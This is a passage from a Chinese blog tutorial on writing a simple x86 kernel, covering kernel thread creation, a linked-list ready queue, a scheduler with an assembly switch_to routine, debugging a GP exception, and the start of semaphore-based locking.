class="line">&#125;</span><br></pre></td></tr></table></figure><p>上面的function即使线程所执行的函数，这个函数并不是用call去调用，我们用的是ret指令进行调用，CPU执行哪条指令是通过EIP的指向来决定的，而ret指令在返回的时候，当前的栈顶就会被当做是返回地址。也就是说，我们可以把某个函数的地址放在栈顶，通过这个函数来执行线程函数。那么在ret返回的时候，就会进入我们指定的函数当中，这个函数就会来调用线程函数。下面就是启动线程的函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 由kernel_thread去执行function(func_arg) */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">kernel_thread</span><span class="params">(thread_func* function, <span class="keyword">void</span>* func_arg)</span> </span>&#123;</span><br><span class="line">   function(func_arg); </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 创建一优先级为prio的线程,线程名为name,线程所执行的函数是function(func_arg) */</span></span><br><span class="line"><span class="function">struct task_struct* <span class="title">thread_start</span><span class="params">(<span class="keyword">char</span>* name, <span class="keyword">int</span> prio, thread_func function, <span class="keyword">void</span>* func_arg)</span> </span>&#123;</span><br><span class="line"><span class="comment">/* pcb都位于内核空间,包括用户进程的pcb也是在内核空间 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">thread</span> = <span class="title">get_kernel_pages</span>(1);</span>  <span class="comment">// 申请一页内存用于放PCB</span></span><br><span class="line"></span><br><span class="line">   init_thread(thread, name, prio);</span><br><span class="line">   thread_create(thread, function, func_arg);</span><br><span class="line"></span><br><span class="line">   <span class="comment">// ret的时候栈顶为kernel_thread进而去执行该函数</span></span><br><span class="line">   <span class="function"><span class="keyword">asm</span> <span class="title">volatile</span> <span class="params">(<span class="string">"movl %0, %%esp; pop %%ebp; pop %%ebx; pop %%edi; pop %%esi; ret"</span> : : <span class="string">"g"</span> (thread-&gt;self_kstack) : <span class="string">"memory"</span>)</span></span>;</span><br><span class="line">   <span class="keyword">return</span> thread;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>为了实验我们还需要在main.c中对thread_start进行调用</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"print.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"init.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"thread.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_a</span><span class="params">(<span class="keyword">void</span>*)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel!\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line"></span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"argA "</span>);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_a</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line"><span class="comment">/* 用void*来通用表示参数,被调用的函数知道自己需要什么类型的参数,自己转换再用 */</span></span><br><span class="line">   <span class="keyword">char</span>* para = arg;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      put_str(para);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译运行结果如下所示，测试成功</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/68.png" alt="image-20200526104424200"></p><h2 id="多线程调度"><a href="#多线程调度" class="headerlink" title="多线程调度"></a>多线程调度</h2><p>为了提高效率，实现多线程调度，我们需要用数据结构对内核线程结构进行维护，首先我们需要在lib/kernel目录下增加队列结构</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"list.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"interrupt.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 初始化双向链表list */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">list_init</span> <span class="params">(struct <span class="built_in">list</span>* <span class="built_in">list</span>)</span> </span>&#123;</span><br><span class="line">   <span class="built_in">list</span>-&gt;head.prev = <span class="literal">NULL</span>;</span><br><span class="line">   <span class="built_in">list</span>-&gt;head.next = &amp;<span class="built_in">list</span>-&gt;tail;</span><br><span class="line">   <span class="built_in">list</span>-&gt;tail.prev = &amp;<span class="built_in">list</span>-&gt;head;</span><br><span class="line">   <span class="built_in">list</span>-&gt;tail.next = <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 把链表元素elem插入在元素before之前 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">list_insert_before</span><span class="params">(struct list_elem* before, struct list_elem* elem)</span> </span>&#123; </span><br><span class="line">   <span class="keyword">enum</span> intr_status old_status = intr_disable(); <span class="comment">// 对队列是原子操作，中断需要关闭</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将before前驱元素的后继元素更新为elem, 暂时使before脱离链表*/</span> </span><br><span class="line">   before-&gt;prev-&gt;next = elem; </span><br><span class="line"></span><br><span class="line"><span class="comment">/* 更新elem自己的前驱结点为before的前驱,</span></span><br><span class="line"><span class="comment"> * 更新elem自己的后继结点为before, 于是before又回到链表 */</span></span><br><span class="line">   elem-&gt;prev = before-&gt;prev;</span><br><span class="line">   elem-&gt;next = before;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 更新before的前驱结点为elem */</span></span><br><span class="line">   before-&gt;prev = elem;</span><br><span class="line"></span><br><span class="line">   intr_set_status(old_status); <span class="comment">// 恢复中断</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 添加元素到列表队首,类似栈push操作 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">list_push</span><span class="params">(struct <span class="built_in">list</span>* plist, struct list_elem* elem)</span> </span>&#123;</span><br><span class="line">   list_insert_before(plist-&gt;head.next, elem); <span class="comment">// 在队头插入elem</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 追加元素到链表队尾,类似队列的先进先出操作 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">list_append</span><span class="params">(struct <span class="built_in">list</span>* plist, struct list_elem* elem)</span> </span>&#123;</span><br><span class="line">   list_insert_before(&amp;plist-&gt;tail, elem);     <span class="comment">// 在队尾的前面插入</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 使元素pelem脱离链表 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">list_remove</span><span class="params">(struct list_elem* pelem)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">enum</span> intr_status old_status = intr_disable();</span><br><span class="line">   </span><br><span class="line">   pelem-&gt;prev-&gt;next = pelem-&gt;next;</span><br><span class="line">   pelem-&gt;next-&gt;prev = pelem-&gt;prev;</span><br><span class="line"></span><br><span class="line">   intr_set_status(old_status);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将链表第一个元素弹出并返回,类似栈的pop操作 */</span></span><br><span class="line"><span class="function">struct list_elem* <span class="title">list_pop</span><span class="params">(struct <span class="built_in">list</span>* plist)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">list_elem</span>* <span class="title">elem</span> = <span class="title">plist</span>-&gt;<span class="title">head</span>.<span class="title">next</span>;</span></span><br><span class="line">   list_remove(elem);</span><br><span class="line">   <span class="keyword">return</span> elem;</span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line"><span class="comment">/* 从链表中查找元素obj_elem,成功时返回true,失败时返回false */</span></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">elem_find</span><span class="params">(struct <span class="built_in">list</span>* plist, struct list_elem* obj_elem)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">list_elem</span>* <span class="title">elem</span> = <span class="title">plist</span>-&gt;<span class="title">head</span>.<span class="title">next</span>;</span></span><br><span class="line">   <span class="keyword">while</span> (elem != &amp;plist-&gt;tail) &#123;</span><br><span class="line">      <span class="keyword">if</span> (elem == obj_elem) &#123;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      elem = elem-&gt;next;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 把列表plist中的每个元素elem和arg传给回调函数func,</span></span><br><span class="line"><span class="comment"> * arg给func用来判断elem是否符合条件.</span></span><br><span class="line"><span class="comment"> * 本函数的功能是遍历列表内所有元素,逐个判断是否有符合条件的元素。</span></span><br><span class="line"><span class="comment"> * 找到符合条件的元素返回元素指针,否则返回NULL. */</span></span><br><span class="line"><span class="function">struct list_elem* <span class="title">list_traversal</span><span class="params">(struct <span class="built_in">list</span>* plist, function func, <span class="keyword">int</span> arg)</span> </span>&#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">list_elem</span>* <span class="title">elem</span> = <span class="title">plist</span>-&gt;<span class="title">head</span>.<span class="title">next</span>;</span></span><br><span class="line"><span class="comment">/* 如果队列为空,就必然没有符合条件的结点,故直接返回NULL */</span></span><br><span class="line">   <span class="keyword">if</span> (list_empty(plist)) &#123; </span><br><span class="line">      <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">while</span> (elem != &amp;plist-&gt;tail) &#123;</span><br><span class="line">      <span class="keyword">if</span> (func(elem, arg)) &#123;  <span class="comment">// func返回ture则认为该元素在回调函数中符合条件,命中,故停止继续遍历</span></span><br><span class="line"> <span class="keyword">return</span> elem;</span><br><span class="line">      &#125;  <span class="comment">// 若回调函数func返回true,则继续遍历</span></span><br><span class="line">      elem = elem-&gt;next;       </span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 返回链表长度 */</span></span><br><span class="line"><span class="keyword">uint32_t</span> list_len(struct <span class="built_in">list</span>* plist) &#123;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">list_elem</span>* <span class="title">elem</span> = <span class="title">plist</span>-&gt;<span class="title">head</span>.<span class="title">next</span>;</span></span><br><span class="line">   <span class="keyword">uint32_t</span> length = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (elem != &amp;plist-&gt;tail) &#123;</span><br><span class="line">      length++; </span><br><span class="line">      elem = elem-&gt;next;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> length;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 判断链表是否为空,空时返回true,否则返回false */</span></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">list_empty</span><span class="params">(struct <span class="built_in">list</span>* plist)</span> </span>&#123;<span class="comment">// 判断队列是否为空</span></span><br><span class="line">   <span class="keyword">return</span> (plist-&gt;head.next == &amp;plist-&gt;tail ? <span class="literal">true</span> : <span class="literal">false</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>多线程调度需要我们继续改进线程代码，我们用PCB中的general_tag字段作为节点链接所有PCB，其中还有一个ticks字段用于记录线程执行时间，ticks越大，优先级越高，时钟中断一次，ticks就会减一，当其为0的时候，调度器就会切换线程，选择另一个线程上处理器执行，然后打上TASK_RUNNING的标记，之后通过switch_to函数将新线程的寄存器环境恢复，这样新线程才得以执行，完整调度过程需要以下三步</p><ul><li>时钟中断处理函数</li><li>调度器schedule</li><li>任务切换函数switch_to</li></ul><p>调度器主要实现如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 实现任务调度 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">schedule</span><span class="params">()</span> </span>&#123;</span><br><span class="line"></span><br><span class="line">   ASSERT(intr_get_status() == INTR_OFF);</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">cur</span> = <span class="title">running_thread</span>();</span> <span class="comment">// 获取线程PCB</span></span><br><span class="line">   <span class="keyword">if</span> (cur-&gt;status == TASK_RUNNING) &#123; <span class="comment">// 若此线程只是cpu时间片到了,将其加入到就绪队列尾</span></span><br><span class="line">      ASSERT(!elem_find(&amp;thread_ready_list, &amp;cur-&gt;general_tag));</span><br><span class="line">      list_append(&amp;thread_ready_list, &amp;cur-&gt;general_tag);</span><br><span class="line">      cur-&gt;ticks = cur-&gt;priority;     <span class="comment">// 重新将当前线程的ticks再重置为其priority;</span></span><br><span class="line">      cur-&gt;status = TASK_READY;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123; </span><br><span class="line">      <span class="comment">/* 若此线程需要某事件发生后才能继续上cpu运行,</span></span><br><span class="line"><span class="comment">      不需要将其加入队列,因为当前线程不在就绪队列中。*/</span></span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   ASSERT(!list_empty(&amp;thread_ready_list));</span><br><span class="line">   thread_tag = <span class="literal">NULL</span>;  <span class="comment">// thread_tag清空</span></span><br><span class="line"><span class="comment">/* 将thread_ready_list队列中的第一个就绪线程弹出,准备将其调度上cpu. */</span></span><br><span class="line">   thread_tag = list_pop(&amp;thread_ready_list);   </span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span>* <span class="title">next</span> = <span class="title">elem2entry</span>(<span class="title">struct</span> <span class="title">task_struct</span>, <span class="title">general_tag</span>, <span class="title">thread_tag</span>);</span></span><br><span class="line">   next-&gt;status = TASK_RUNNING;</span><br><span class="line">   switch_to(cur, next);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>接下来是切换函数的实现，在thread/目录下创建switch.S，由两部分组成第一部分负责保存任务进入中断前的全部寄存器，第二部分负责保存esi、edi、ebx、ebp四个寄存器。堆栈图压栈之后的如下所示</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/69.png" alt="image-20200526104424200"></p><p>代码如下所示</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">[bits 32]</span><br><span class="line">section .text</span><br><span class="line">global switch_to</span><br><span class="line">switch_to:</span><br><span class="line">   ;栈中此处是返回地址</span><br><span class="line">   push esi</span><br><span class="line">   push edi</span><br><span class="line">   push ebx</span><br><span class="line">   push ebp</span><br><span class="line"></span><br><span class="line">   mov eax, [esp + 20] ; 得到栈中的参数cur, cur = [esp+20]</span><br><span class="line">   mov [eax], esp                ; 保存栈顶指针esp. task_struct的self_kstack字段,</span><br><span class="line"> ; self_kstack在task_struct中的偏移为0,</span><br><span class="line"> ; 所以直接往thread开头处存4字节便可。</span><br><span class="line">;------------------  以上是备份当前线程的环境，下面是恢复下一个线程的环境  ----------------</span><br><span class="line">   mov eax, [esp + 24] ; 得到栈中的参数next, next = [esp+24]</span><br><span class="line">   mov esp, [eax] ; pcb的第一个成员是self_kstack成员,用来记录0级栈顶指针,</span><br><span class="line"> ; 用来上cpu时恢复0级栈,0级栈中保存了进程或线程所有信息,包括3级栈指针</span><br><span class="line">   pop ebp</span><br><span class="line">   pop ebx</span><br><span class="line">   pop edi</span><br><span class="line">   pop esi</span><br><span class="line">   ret ; 返回到上面switch_to下面的那句注释的返回地址,</span><br><span class="line"> ; 未由中断进入,第一次执行时会返回到kernel_thread</span><br></pre></td></tr></table></figure><p>修改makefie、printf等一些文件之后，最终能实现多线程的调度主函数main.c如下所示</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"print.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"init.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"thread.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"interrupt.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_a</span><span class="params">(<span class="keyword">void</span>*)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_b</span><span class="params">(<span class="keyword">void</span>*)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel!\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line"></span><br><span class="line">   thread_start(<span class="string">"k_thread_a"</span>, <span class="number">31</span>, k_thread_a, <span class="string">"argA "</span>);</span><br><span class="line">   thread_start(<span class="string">"k_thread_b"</span>, <span class="number">8</span>, k_thread_b, <span class="string">"argB "</span>);</span><br><span class="line"></span><br><span class="line">   intr_enable();<span class="comment">// 打开中断,使时钟中断起作用</span></span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      put_str(<span class="string">"Main "</span>);</span><br><span class="line">   &#125;;</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_a</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line"><span class="comment">/* 用void*来通用表示参数,被调用的函数知道自己需要什么类型的参数,自己转换再用 */</span></span><br><span class="line">   <span class="keyword">char</span>* para = arg;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      put_str(para);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在线程中运行的函数 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">k_thread_b</span><span class="params">(<span class="keyword">void</span>* arg)</span> </span>&#123;     </span><br><span class="line"><span class="comment">/* 用void*来通用表示参数,被调用的函数知道自己需要什么类型的参数,自己转换再用 */</span></span><br><span class="line">   <span class="keyword">char</span>* para = arg;</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      put_str(para);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>不过这里会引发GP异常，如下所示，可以用<code>nm build/kernel.bin | grep thread_start</code>查看线程函数地址，然后在线程函数下断点，再用<code>show exitint</code>打印中断信息，这样就可以观察异常处的寄存器信息，这里产生异常的原因是寄存器bx的值超过了段界限limit的值0x7fff</p><p><img src="/2020/05/15/简单内核实现笔记-part-3/70.png" alt="image-20200526104424200"></p><h1 id="输入输出系统"><a href="#输入输出系统" class="headerlink" title="输入输出系统"></a>输入输出系统</h1><h2 id="同步机制-锁"><a href="#同步机制-锁" class="headerlink" title="同步机制-锁"></a>同步机制-锁</h2><p>思考之前代码的问题，字符打印问题主要出现在交界处无法打印正确，回忆put_str函数打印有三个步骤</p><ul><li>获取光标值</li><li>将光标值转换为字节地址，在该地址处写入字符</li><li>更新光标值</li></ul><p>在打印的时候，若线程A到了第二步，此时发生了时钟中断，那么线程B就会重新获取光标值，这样导致数据覆盖，所以我们需要保证公共资源显存只有一个线程访问，也就是需要保证原子性，我们需要在put_str函数中进行开关中断的操作，如下所示，后面对公共资源”光标寄存器”也需要这样进行原子操作避免GP异常，这样做可以正确的打印输出，但只能解决输出函数线程竞争的问题，如果其他地方也有这种竞争问题就需要我们用一种新的机制来解决，也就是锁的机制。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">[...]</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">      intr_disable(); <span class="comment">// 关中断</span></span><br><span class="line">      put_str(<span class="string">"..."</span>);</span><br><span class="line">      intr_enable(); <span class="comment">// 开中断</span></span><br><span class="line">   &#125;;</span><br><span class="line">[...]</span><br></pre></td></tr></table></figure><p>要进行线程同步，肯定要在需要同步的地方阻止线程的切换。这里主要通过信号量的机制对公共资源加锁，达到同步的目的。信号量的原理本身比较简单。通过P、V操作来表示信号量的增减，如下。</p><p>P操作，减少信号量：</p><ol><li>判断信号量是否大于0</li><li>如果大于0， 将其减一</li><li>如果小于0，将当前线程阻塞</li></ol><p>V操作，增加信号量：</p><ol><li>将信号量的值加一</li><li>唤醒等待的线程</li></ol><p>首先我们需要实现线程的阻塞与唤醒，阻塞通常是线程自己阻塞自己，唤醒通常是其他线程唤醒本线程。具体实现如下，在thread.c中进行修改</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 当前线程将自己阻塞,标志其状态为stat. */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">thread_block</span><span class="params">(task_status stat)</span> </span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="comment">/* stat取值为TASK_BLOCKED,TASK_WAITING,TASK_HANGING,也就是只有这三种状态才不会被调度*/</span></span><br><span class="line">    ASSERT(stat == TASK_BLOCKED || stat == TASK_WAITING || stat == TASK_HANGING);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">enum</span> intr_status old_status = intr_disable();</span><br><span class="line">    task_struct* cur_thread = running_thread();</span><br><span class="line"></span><br><span class="line">    cur_thread-&gt;status = stat; <span class="comment">// 置其状态为stat </span></span><br><span class="line">    schedule();            <span class="comment">// 将当前线程换下处理器</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment">/* 待当前线程被解除阻塞后才继续运行下面的intr_set_status */</span></span><br><span class="line">   intr_set_status(old_status);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将线程pthread解除阻塞 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">thread_unblock</span><span class="params">(task_struct* pthread)</span> </span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">enum</span> intr_status old_status = intr_disable();</span><br><span class="line">    ASSERT((pthread-&gt;status == TASK_BLOCKED) || (pthread-&gt;status == TASK_WAITING) || (pthread-&gt;status == TASK_HANGING));</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (pthread-&gt;status != TASK_READY) </span><br><span class="line">    &#123;</span><br><span class="line">        ASSERT(!elem_find(&amp;thread_ready_list, &amp;pthread-&gt;general_tag));</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (elem_find(&amp;thread_ready_list, &amp;pthread-&gt;general_tag)) </span><br><span class="line">        &#123;</span><br><span class="line">            PANIC(<span class="string">"thread_unblock: blocked thread in ready_list\n"</span>);</span><br><span class="line">        &#125;   </span><br><span class="line">        </span><br><span class="line">        